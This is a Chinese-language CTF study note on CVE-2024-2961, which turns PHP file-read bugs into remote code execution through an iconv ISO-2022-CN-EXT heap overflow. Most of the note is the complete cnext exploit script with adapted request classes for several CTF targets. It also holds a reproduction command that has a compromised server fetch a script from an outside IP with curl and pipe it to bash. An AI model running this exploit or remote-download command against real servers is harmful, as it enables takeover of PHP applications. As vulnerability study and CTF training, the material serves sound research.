CVE-2024-2961学习

在CTF题目中首次出现，2024春秋杯冬季赛，出题人Blog如下

2024春秋杯网络安全联赛夏季赛 - Web w0rdpress 题解 - Kengwang 博客

接着在
- ctfshow西瓜杯 Ezzz_php
- [NSSCTF 3rd]EZ_CMS
- 羊城杯网络照相馆
相继出现

EXP原文件

cnext-exploits/cnext-exploit.py at main · ambionics/cnext-exploits

在PHP中的文件读取原语

首先，我们来了解一下基础背景。假设在进行评估时，你发现了一个文件读取原语，例如下面这个：

1	`echo file_get_contents($_GET['file']);`

我们能用它做什么？嗯，显然是读取文件。例如，可以读 /etc/passwd 。但 PHP 还允许使用其他协议，例如 http:// 或 ftp://。因此，您可以使用http://google.com 让 PHP 获取 google 的首页；或者使用 ftp://user:passwd@ftp.target.com/file.bin 从 FTP 服务器下载文件。但这还不是全部。 PHP 还实现了自定义协议，例如 phar:// 。
phar:// 可以读取 PHAR 存档的内部内容。 PHAR 代表 PHP 存档，就像 JAR 代表 Java 存档一样。它是一组文件，例如：

源代码
资源
序列化的元数据

这个协议多年来一直是PHP的致命弱点，因为当你使用它访问一个PHAR文件时，其元数据会被反序列化。常见的PHAR攻击方式如下所示：

将PHAR归档文件上传至目标服务器（PHAR文件非常灵活，可以使其看起来像是一张图片、一个PDF文档或其他任何类型的文件）。
使用文件读取基本操作访问PHAR文件，路径为phar:///path/to/file.phar/test。
任意载荷在此过程中被反序列化。

将反序列化转换为代码执行有多种方法，但人们通常依赖PHP中的首选反序列化工具——PHPGGC。

PHAR攻击的影响不容小觑。自2018年出现以来，它们在获取PHP目标的shell方面发挥了关键作用。然而，这场盛宴即将结束：
从PHP 8.0版本（发布于2020年）开始，phar://不再反序列化元数据（反正他们也不使用元数据，所以为何要反序列化它）。这彻底终结了PHAR攻击的可能性。
大型应用程序（如Drupal或Magento）已经禁用了phar://协议。
随着时间的推移，利用反序列化漏洞将会变得更加困难：库正在修补其反序列化链，而类型系统的复兴也大幅减少了可被利用的反序列化路径。
但是phar://并非攻击者唯一有用的协议；另一个名为php://filter的协议同样取得了显著成效。

漏洞判断与利用步骤

首先，对目标是否能进行漏洞利用进行检测，该检测过程没法检测目标是否存在漏洞，只能检测目标是否存在进行漏洞利用的条件，有以下三个方面：
- 检测目标的任意文件读是否支持：data:text/plain;base64,。
- 检测目标的任意文件读是否支持：php://filter//resource=data:text/plain;base64,。
- 检测目标的任意文件读是否支持：php://filter/zlib.inflate/resource=data:text/plain;base64,。
通过/proc/self/maps获取目标的内存布局，获取目标libc文件。获取目标内存布局需要获取libc的基地址，PHP堆的基地址。libc的基地址很好获取，但是PHP堆的基地址就得猜测，没办法100%确定，PHP堆有以下条件：
- 大小在0x200000之上，并且为该大小的倍数，所以还需要0x200000对齐。
- 该内存段不属于任何二进制文件。
- 该内存段的权限为：rw-p
构造Payload，发送Payload到目标进行漏洞利用。

EXP分析

我们来看下CVE原作者的EXP，Web手和Web题目主要需要关注的就是这个Remote类

send返回的是发送path文件路径后的原始Response

download返回的是php://filter/convert.base64-encode/resource={path}

base64.decode(data) base64的字节内容

class Remote:
    """A helper class to send the payload and download files.
    
    The logic of the exploit is always the same, but the exploit needs to know how to
    download files (/proc/self/maps and libc) and how to send the payload.
    
    The code here serves as an example that attacks a page that looks like:
    
    1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    <?php
    
    $data = file_get_contents($_POST['file']);
    echo "File contents: $data";
Tweak it to fit your target, and start the exploit.
"""

def __init__(self, url: str) -> None:
    self.url = url
    self.session = Session()

def send(self, path: str) -> Response:
    """Sends given `path` to the HTTP server. Returns the response.
    """
    return self.session.post(self.url, data={"file": path})
    
def download(self, path: str) -> bytes:
    """Returns the contents of a remote file.
    """
    path = f"php://filter/convert.base64-encode/resource={path}"
    response = self.send(path)
    data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
    return base64.decode(data)

**春秋杯网络安全联赛夏季赛 - Web w0rdpress **

我们看下，

```
        self.url = url
        self.session = Session()
        self.session.headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
            "Cookie":"wordpress_=subscriber%7C1720336162%7CpgTrhwuO3kuzcmwR58cvhthcb45qUx7UkYRiYDYPlW1%7Cb847e13631b08d8e6cb3528b7b3ffe5cfc26e3dd7be5a4dc9dcdc0151c0be873; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1720026818,1720091541,1720161557; HMACCOUNT=06D642FA6D3CD649; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1720161560; PHPSESSID=6fd15deed30423894715ced0e98b545f; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_=subscriber%7C1720336162%7CpgTrhwuO3kuzcmwR58cvhthcb45qUx7UkYRiYDYPlW1%7Ce0c1af65c1951fece8672cc3b08c4d583a056923594d950558734c06b49e22b8; wp-settings-time-5=1720163412"}
    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        print(path)
        req = self.session.post(self.url + "/wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path="+quote(path))
        return req
        #return self.session.get(self.url + "/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php/?url=" + quote(path))

def download(self, path: str) -> bytes:
    """Returns the contents of a remote file.
    """
    path = f"php://filter/convert.base64-encode/resource={path}"
    response = self.send(path)
    print(response)
    data = response.re.search(b" name=\"(.*)\[\]", flags=re.S).group(1)
    try:
        return base64.decode(data)
    except Exception as e:
        print(e)
        return data

vulhub复现

安装相关依赖:

需要python3.10

1 2	`pip3 install pwntools pip3 install https://github.com/cfreal/ten/archive/refs/heads/main.zip`

下载脚本:

1	`wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py`

1	`python3 cnext-exploit.py http://189.1.245.32:8081/index.php "curl http://8.138.152.157/1.txt \| bash"`

2025 N1CTF Gavatar

经典php漏洞，CVE-2024-2961，p神的vulhub里面复现过，github有exp

exp的Class Remote 需要修改

#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#

from __future__ import annotations
import requests
import base64
import zlib

from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError

from pwn import *
from ten import *


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


class Remote:
    def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()
        self.session.headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
            "Cookie": "PHPSESSID=44349da0d2751b567972c00ac9c7f948",
        }

    def send(self, path: str) -> Response:
        files = {
            "avatar": (None, ""),  # 空文件
            "url": (None, f"php://filter/read=convert.base64-encode/resource={path}")
        }
        # print(self.url)
        requests.post(self.url, headers=self.session.headers, files=files)
        """返回远程文件的内容"""
        path2=f"http://39.106.16.204:56236/avatar.php?user=admin"
        return self.session.get(path2)

    def download(self,path: str) -> bytes:
        files = {
            "avatar": (None, ""),  # 空文件
            "url": (None, f"php://filter/convert.base64-encode/resource={path}")
        }
        requests.post(self.url, headers=self.session.headers, files=files)
        path1 = f"http://39.106.16.204:56236/avatar.php?user=admin"
        response = self.session.get(path1)
        # print(response.content)
        data = response.re.search(b".*", flags=re.S).group(0)
        return base64.decode(data)

@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
    "pad",
    "Number of 0x100 chunks to pad with. If the website makes a lot of heap "
    "operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
    """CNEXT exploit: RCE using a file read primitive in PHP."""

    url: str
    command: str
    sleep: int = 1
    heap: str = None
    pad: int = 20

    def __post_init__(self):
        self.remote = Remote(self.url)
        self.log = logger("EXPLOIT")
        self.info = {}
        self.heap = self.heap and int(self.heap, 16)

    def check_vulnerable(self) -> None:
        """Checks whether the target is reachable and properly allows for the various
        wrappers and filters that the exploit needs.
        """
        
        def safe_download(path: str) -> bytes:
            try:
                return self.remote.download(path)
            except ConnectionError:
                failure("Target not [b]reachable[/] ?")
            

        def check_token(text: str, path: str) -> bool:
            result = safe_download(path)
            return text.encode() == result

        text = tf.random.string(50).encode()
        base64 = b64(text, misalign=True).decode()
        path = f"data:text/plain;base64,{base64}"
        
        result = safe_download(path)
        
        if text not in result:
            msg_failure("Remote.download did not return the test string")
            print("--------------------")
            print(f"Expected test string: {text}")
            print(f"Got: {result}")
            print("--------------------")
            failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

        msg_info("The [i]data://[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(text.encode(), misalign=True).decode()
        path = f"php://filter//resource=data:text/plain;base64,{base64}"
        if not check_token(text, path):
            failure("The [i]php://filter/[/] wrapper does not work")

        msg_info("The [i]php://filter/[/] wrapper works")

        text = tf.random.string(50)
        base64 = b64(compress(text.encode()), misalign=True).decode()
        path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

        if not check_token(text, path):
            failure("The [i]zlib[/] extension is not enabled")

        msg_info("The [i]zlib[/] extension is enabled")

        msg_success("Exploit preconditions are satisfied")

    def get_file(self, path: str) -> bytes:
        with msg_status(f"Downloading [i]{path}[/]..."):
            return self.remote.download(path)

    def get_regions(self) -> list[Region]:
        """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
        maps = self.get_file("/proc/self/maps")
        maps = maps.decode()
        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
        )
        regions = []
        for region in table.split(maps, strip=True):
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    path = ""
                current = Region(start, stop, permissions, path)
                regions.append(current)
            else:
                print(maps)
                failure("Unable to parse memory mappings")

        self.log.info(f"Got {len(regions)} memory regions")

        return regions

    def get_symbols_and_addresses(self) -> None:
        """Obtains useful symbols and addresses from the file read primitive."""
        regions = self.get_regions()

        LIBC_FILE = "/dev/shm/cnext-libc"

        # PHP's heap

        self.info["heap"] = self.heap or self.find_main_heap(regions)

        # Libc

        libc = self._get_region(regions, "libc-", "libc.so")

        self.download_file(libc.path, LIBC_FILE)

        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        self.info["libc"].address = libc.start

    def _get_region(self, regions: list[Region], *names: str) -> Region:
        """Returns the first region whose name matches one of the given names."""
        for region in regions:
            if any(name in region.path for name in names):
                break
        else:
            failure("Unable to locate region")

        return region

    def download_file(self, remote_path: str, local_path: str) -> None:
        """Downloads `remote_path` to `local_path`"""
        data = self.get_file(remote_path)
        Path(local_path).write(data)

    def find_main_heap(self, regions: list[Region]) -> Region:
        # Any anonymous RW region with a size superior to the base heap size is a
        # candidate. The heap is at the bottom of the region.
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p"
            and region.size >= HEAP_SIZE
            and region.stop & (HEAP_SIZE-1) == 0
            and region.path in ("", "[anon:zend_alloc]")
        ]

        if not heaps:
            failure("Unable to find PHP's main heap in memory")

        first = heaps[0]

        if len(heaps) > 1:
            heaps = ", ".join(map(hex, heaps))
            msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
        else:
            msg_info(f"Using [i]{hex(first)}[/] as heap")

        return first

    def run(self) -> None:
        self.check_vulnerable()
        self.get_symbols_and_addresses()
        self.exploit()

    def build_exploit_path(self) -> str:
        """On each step of the exploit, a filter will process each chunk one after the
        other. Processing generally involves making some kind of operation either
        on the chunk or in a destination chunk of the same size. Each operation is
        applied on every single chunk; you cannot make PHP apply iconv on the first 10
        chunks and leave the rest in place. That's where the difficulties come from.

        Keep in mind that we know the address of the main heap, and the libraries.
        ASLR/PIE do not matter here.

        The idea is to use the bug to make the freelist for chunks of size 0x100 point
        lower. For instance, we have the following free list:

        ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00

        By triggering the bug from chunk ..900, we get:

        ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???

        That's step 3.

        Now, in order to control the free list, and make it point whereever we want,
        we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
        we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
        That's step 2.

        Now, if we were to perform step2 an then step3 without anything else, we'd have
        a problem: after step2 has been processed, the free list goes bottom-up, like:

        0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900

        We need to go the other way around. That's why we have step 1: it just allocates
        chunks. When they get freed, they reverse the free list. Now step2 allocates in
        reverse order, and therefore after step2, chunks are in the correct order.

        Another problem comes up.

        To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
        Since step2 creates chunks that contain pointers and pointers are generally not
        UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
        To avoid this, we put the chunks in step2 at the very end of the chain, and
        prefix them with `0\n`. When dechunked (right before the iconv), they will
        "disappear" from the chain, preserving them from the character set conversion
        and saving us from an unwanted processing error that would stop the processing
        chain.

        After step3 we have a corrupted freelist with an arbitrary pointer into it. We
        don't know the precise layout of the heap, but we know that at the top of the
        heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
        Its free_slot[] array contains a pointer to each free list. By overwriting it,
        we can make PHP allocate chunks whereever we want. In addition, its custom_heap
        field contains pointers to hook functions for emalloc, efree, and erealloc
        (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
        then overwrite the use_custom_heap flag to make PHP use these function pointers
        instead. We can now do our favorite CTF technique and get a call to
        system(<chunk>).
        We make sure that the "system" command kills the current process to avoid other
        system() calls with random chunk data, leading to undefined behaviour.

        The pad blocks just "pad" our allocations so that even if the heap of the
        process is in a random state, we still get contiguous, in order chunks for our
        exploit.

        Therefore, the whole process described here CANNOT crash. Everything falls
        perfectly in place, and nothing can get in the middle of our allocations.
        """

        LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

        CS = 0x100

        # Pad needs to stay at size 0x100 at every step
        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)

        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)

        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
        # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)

        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)

        step3_size = CS

        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)

        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)

        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)

        # This chunk will eventually overwrite mm_heap->free_slot
        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
        step4_pwn = ptr_bucket(
            0x200000,
            0,
            # free_slot
            0,
            0,
            ADDR_CUSTOM_HEAP,  # 0x18
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            ADDR_HEAP,  # 0x140
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            size=CS,
        )

        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
        )

        step4_use_custom_heap_size = 0x140

        COMMAND = self.command
        COMMAND = f"kill -9 $PPID; {COMMAND}"
        if self.sleep:
            COMMAND = f"sleep {self.sleep}; {COMMAND}"
        COMMAND = COMMAND.encode() + b"\x00"

        assert (
            len(COMMAND) <= step4_use_custom_heap_size
        ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

        pages = (
            step4 * 3
            + step4_pwn
            + step4_custom_heap
            + step4_use_custom_heap
            + step3_overflow
            + pad * self.pad
            + step1 * 3
            + step2_write_ptr
            + step2 * 2
        )

        resource = compress(compress(pages))
        resource = b64(resource)
        resource = f"data:text/plain;base64,{resource.decode()}"

        filters = [
            # Create buckets
            "zlib.inflate",
            "zlib.inflate",
            
            # Step 0: Setup heap
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 1: Reverse FL order
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 2: Put fake pointer and make FL order back to normal
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 3: Trigger overflow
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",
            
            # Step 4: Allocate at arbitrary address and change zend_mm_heap
            "convert.quoted-printable-decode",
            "convert.iconv.L1.L1",
        ]
        filters = "|".join(filters)
        path = f"php://filter/read={filters}/resource={resource}"

        return path

    @inform("Triggering...")
    def exploit(self) -> None:
        path = self.build_exploit_path()
        start = time.time()

        try:
            self.remote.send(path)
        except (ConnectionError, ChunkedEncodingError):
            pass
        
        msg_print()
        
        if not self.sleep:
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
        elif start + self.sleep <= time.time():
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
        else:
            # Wrong heap, maybe? If the exploited suggested others, use them!
            msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
        
        msg_print()


def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload.encode()


def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    # The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"


@dataclass
class Region:
    """A memory region."""

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
        return self.stop - self.start


Exploit()